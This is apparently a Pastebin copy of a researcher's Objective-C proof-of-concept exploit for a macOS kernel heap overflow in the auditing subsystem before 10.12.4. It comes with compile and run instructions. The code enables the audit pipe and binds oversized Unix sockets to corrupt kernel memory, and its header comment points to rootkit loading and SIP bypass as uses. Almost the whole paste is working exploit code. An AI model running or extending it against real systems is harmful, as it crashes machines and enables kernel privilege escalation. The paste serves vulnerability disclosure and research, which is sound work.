Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- triggers kernel heap-overflow on macOS < 10.12.4 (@patrickwardle)
- details: https://objective-see.com/blog/blog_0x1C.html
- note: requires r00t, but only to enable auditing as a prerequisite (so if auditing is enabled already, it's an EoP)
- ->use to load unsigned code into kernel (load rootkit, bypass SIP, blah blah blah)
- compile: clang -fobjc-arc -fmodules -lbsm trigger.m -o trigger
- run: $ sudo ./trigger
- */
- #import <sys/un.h>
- #import <unistd.h>
- #import <pthread.h>
- #import <bsm/audit.h>
- #import <sys/ioctl.h>
- #import <bsm/libbsm.h>
- #import <sys/types.h>
- #import <sys/socket.h>
- #import <Foundation/Foundation.h>
- #import <security/audit/audit_ioctl.h>
- //OS version sierra
- #define OS_MINOR_VERSION_SIERRA 12
- //audit pipe
- #define AUDIT_PIPE "/dev/auditpipe"
- //audit class for proc events
- #define AUDIT_CLASS_NETWORK 0x00000100
- //i'm lazy ;)
- #pragma clang diagnostic ignored "-Wdeprecated-declarations"
- //get OS version
- NSDictionary* getOSVersion()
- {
- //os version info
- NSMutableDictionary* osVersionInfo = nil;
- //major v
- SInt32 majorVersion = 0;
- //minor v
- SInt32 minorVersion = 0;
- //bug fix v
- SInt32 fixVersion = 0;
- //alloc dictionary
- osVersionInfo = [NSMutableDictionary dictionary];
- //get major version
- if(0 != Gestalt(gestaltSystemVersionMajor, &majorVersion))
- {
- //reset
- osVersionInfo = nil;
- //bail
- goto bail;
- }
- //get minor version
- if(0 != Gestalt(gestaltSystemVersionMinor, &minorVersion))
- {
- //reset
- osVersionInfo = nil;
- //bail
- goto bail;
- }
- //get bug fix version
- if(0 != Gestalt(gestaltSystemVersionBugFix, &fixVersion))
- {
- //reset
- osVersionInfo = nil;
- //bail
- goto bail;
- }
- //set major version
- osVersionInfo[@"majorVersion"] = [NSNumber numberWithInteger:majorVersion];
- //set minor version
- osVersionInfo[@"minorVersion"] = [NSNumber numberWithInteger:minorVersion];
- //set bug fix version
- osVersionInfo[@"bugfixVersion"] = [NSNumber numberWithInteger:fixVersion];
- //bail
- bail:
- return osVersionInfo;
- }
- //enable auditing
- // ->and then forever, consume audit events
- void *enableAuditing(void *ptr)
- {
- //event mask
- u_int eventClasses = AUDIT_CLASS_NETWORK;
- //file pointer to audit pipe
- FILE* auditFile = NULL;
- //file descriptor for audit pipe
- int auditFileDescriptor = -1;
- //status var
- int status = -1;
- //preselect mode
- int mode = -1;
- //queue length
- int maxQueueLength = -1;
- //record buffer
- u_char* recordBuffer = NULL;
- //token struct
- tokenstr_t tokenStruct = {0};
- //total length of record
- int recordLength = -1;
- //amount of record left to process
- int recordBalance = -1;
- //amount currently processed
- int processedLength = -1;
- //open audit pipe for reading
- auditFile = fopen(AUDIT_PIPE, "r");
- if(auditFile == NULL)
- {
- //err msg
- printf("\nERROR: failed to open audit pipe %s\n", AUDIT_PIPE);
- //bail
- goto bail;
- }
- //grab file descriptor
- auditFileDescriptor = fileno(auditFile);
- //init mode
- mode = AUDITPIPE_PRESELECT_MODE_LOCAL;
- //set preselect mode
- status = ioctl(auditFileDescriptor, AUDITPIPE_SET_PRESELECT_MODE, &mode);
- if(-1 == status)
- {
- //err msg
- printf("\nERROR: ioctl('AUDITPIPE_SET_PRESELECT_MODE') failed with %d\n", status);
- //bail
- goto bail;
- }
- //grab max queue length
- status = ioctl(auditFileDescriptor, AUDITPIPE_GET_QLIMIT_MAX, &maxQueueLength);
- if(-1 == status)
- {
- //err msg
- printf("\nERROR: ioctl('AUDITPIPE_GET_QLIMIT_MAX') failed with %d\n", status);
- //bail
- goto bail;
- }
- //set queue length to max
- status = ioctl(auditFileDescriptor, AUDITPIPE_SET_QLIMIT, &maxQueueLength);
- if(-1 == status)
- {
- //err msg
- printf("\nERROR: ioctl('AUDITPIPE_SET_QLIMIT') failed with %d\n", status);
- //bail
- goto bail;
- }
- //set preselect flags
- // ->event classes we're interested in
- status = ioctl(auditFileDescriptor, AUDITPIPE_SET_PRESELECT_FLAGS, &eventClasses);
- if(-1 == status)
- {
- //err msg
- printf("\nERROR: ioctl('AUDITPIPE_SET_PRESELECT_FLAGS') failed with %d\n", status);
- //bail
- goto bail;
- }
- //set non-attributable flags
- // ->event classes we're interested in
- status = ioctl(auditFileDescriptor, AUDITPIPE_SET_PRESELECT_NAFLAGS, &eventClasses);
- if(-1 == status)
- {
- //err msg
- printf("\nERROR: ioctl('AUDITPIPE_SET_PRESELECT_NAFLAGS') failed with %d\n", status);
- //bail
- goto bail;
- }
- //dbg msg
- printf("\nauditing enabled, now consuming audit events\n");
- //forever
- // ->read/parse/process audit records
- while(YES)
- {
- //free prev buffer
- if(NULL != recordBuffer)
- {
- //free
- free(recordBuffer);
- recordBuffer = NULL;
- }
- //read a single audit record
- // ->note: buffer is allocated by function, so must be freed when done
- recordLength = au_read_rec(auditFile, &recordBuffer);
- if(-1 == recordLength)
- {
- //continue
- continue;
- }
- //init (remaining) balance to record's total length
- recordBalance = recordLength;
- //init processed length to start (zer0)
- processedLength = 0;
- //parse record
- // ->read all tokens/process
- while(0 != recordBalance)
- {
- //extract token
- if(-1 == au_fetch_tok(&tokenStruct, recordBuffer + processedLength, recordBalance))
- {
- //error
- // ->skip record
- break;
- }
- //add length of current token
- processedLength += tokenStruct.len;
- //subtract lenght of current token
- recordBalance -= tokenStruct.len;
- }
- }
- //bail
- bail:
- //free buffer
- if(NULL != recordBuffer)
- {
- //free
- free(recordBuffer);
- recordBuffer = NULL;
- }
- //close audit pipe
- if(NULL != auditFile)
- {
- //close
- fclose(auditFile);
- auditFile = NULL;
- }
- return NULL;
- }
- //create a bunch of sockets that are > _SS_MAXSIZE (128)
- // this will trigger the vulnerable auditing code to be executed
- void generateSockets()
- {
- //make a bunch of sockets
- for(int i=0; i<100; i++)
- {
- //random size [128 - 256]
- int size = arc4random_uniform(128)+128;
- //alloc/set buffer
- char* unixSocket = malloc(size);
- memset(unixSocket, 0x41, size);
- //init
- ((struct sockaddr_un*)unixSocket)->sun_len = size;
- ((struct sockaddr_un*)unixSocket)->sun_family = AF_UNIX;
- //unlink/bind
- // ->this will trigger heap overflow
- unlink(((struct sockaddr_un*)socket)->sun_path);
- bind(socket(AF_UNIX, SOCK_STREAM, 0), (struct sockaddr *)unixSocket, size);
- }
- return;
- }
- //main interface
- // ->check os version/permissions/enable auditing, then trigger
- int main(int argc, const char * argv[])
- {
- //OS version info
- NSDictionary* osVersionInfo = nil;
- //input
- char input = 0;
- //thread
- pthread_t thread = NULL;
- @autoreleasepool
- {
- //get OS version info
- osVersionInfo = getOSVersion();
- if(nil == osVersionInfo)
- {
- //err msg
- printf("\nERROR: failed to determine OS version\n\n");
- //bail
- goto bail;
- }
- //bug fixed in OS X 10.12.4+
- if( ([osVersionInfo[@"minorVersion"] intValue] == OS_MINOR_VERSION_SIERRA) &&
- ([osVersionInfo[@"bugfixVersion"] intValue] >= 4))
- {
- //err msg
- printf("\nERROR: OSX/macOS %d.%d.%d is not vulnerable\n\n", [osVersionInfo[@"majorVersion"] intValue], [osVersionInfo[@"minorVersion"] intValue], [osVersionInfo[@"bugfixVersion"] intValue]);
- //bail
- goto bail;
- }
- //gotta be root
- // ->but only to enable auditing
- if(0 != geteuid())
- {
- //err msg
- printf("\nERROR: requires r00t (to enable auditing)\n\n");
- //bail
- goto bail;
- }
- //ask user
- printf("\nWARNING: this will panic your box!\ncontinue? ('y'/'n'): ");
- //get response
- input = getc(stdin);
- if('y' != input)
- {
- //err msg
- printf("\nok, goodbye!\n\n");
- //bail
- goto bail;
- }
- //dbg msg
- printf("\nenabling auditing...\n");
- //spawn thread to enable/begin auditing
- if(0 != pthread_create(&thread, NULL, enableAuditing, (void*)NULL))
- {
- //err msg
- printf("\nERROR: failed to create 'auditing' thread (%d)\n\n", errno);
- //bail
- goto bail;
- }
- //dbg msg
- printf("\ngenerating 'evil' sockets\n");
- //create sockets
- // ->this will trigger kernel heap overflow on macOS < 10.12.4 (panic)
- generateSockets();
- //dbg msg
- printf("\nall done - trigger failed!?\n\n");
- }
- //bail
- bail:
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement